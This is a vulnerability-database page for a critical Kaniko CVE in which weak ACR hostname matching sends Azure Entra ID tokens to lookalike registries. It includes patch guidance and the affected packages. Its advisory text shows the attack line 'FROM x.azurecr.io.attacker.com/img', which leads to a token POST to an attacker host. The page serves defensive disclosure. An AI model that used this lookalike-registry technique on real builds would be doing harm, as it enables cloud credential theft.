Live threats

All CVEs / chainguard

CVE-2026-105769chainguard kaniko

Azure AD Token Leakage in Kaniko via Weak Registry Validation

Critical 9.3 No auth needed

Priority
71
CVSS 3.1
9.3
EPSS
—
Auth required
No
Published
Nov 2, 2026
Updated
Nov 2, 2026
Category
Application · Cross-platform
Weakness (CWE)
CWE-346, CWE-522
SSVC (CISA)
Exploitation: none · Automatable: no · Technical impact: total
Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

What happens

Kaniko before 1.25.20 leaks Microsoft Entra ID (Azure AD) access tokens to attacker-controlled registries due to weak hostname validation. A Dockerfile referencing images on lookalike hosts (such as x.azurecr.io.attacker.com) causes the credential helper to obtain a token from the build's Azure identity and send it to the attacker, who can use it against Azure Resource Manager or exchange it for ACR registry credentials. No RUN instruction or push is required.

Show the original NVD text

kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.

Source text, unmodified. NVD.

What to do

Patch available · fixed versions: 1.25.20

Update Kaniko to version 1.25.20 or later to fix Azure Container Registry hostname validation.

Vendor advisory · github.com ↗

  1. Apply the vendor's security update for kaniko.
  2. It can be exploited without authentication: if you cannot patch now, restrict Internet access to the affected service.

Affected packages

EcosystemPackageAffected versionsFixed inHow to upgrade
Go github.com/chainguard-dev/kaniko < 1.25.20 1.25.20 go get github.com/chainguard-dev/kaniko@v1.25.20
Go github.com/chainguard-dev/kaniko < 1.25.20 1.25.20 go get github.com/chainguard-dev/kaniko@v1.25.20

Per OSV / GitHub Advisories (GHSA-5q7h-w9jf-cx97, GO-2026-6902). Check the version in your lockfile before upgrading.

Affected products

As reported by the CNA that published the CVE. NVD has not added CPEs with versions yet.

Official advisories

Vendor, CERT and distribution advisories that name this CVE. Original titles.

Official sources

References

Links published by the sources. Open them with care.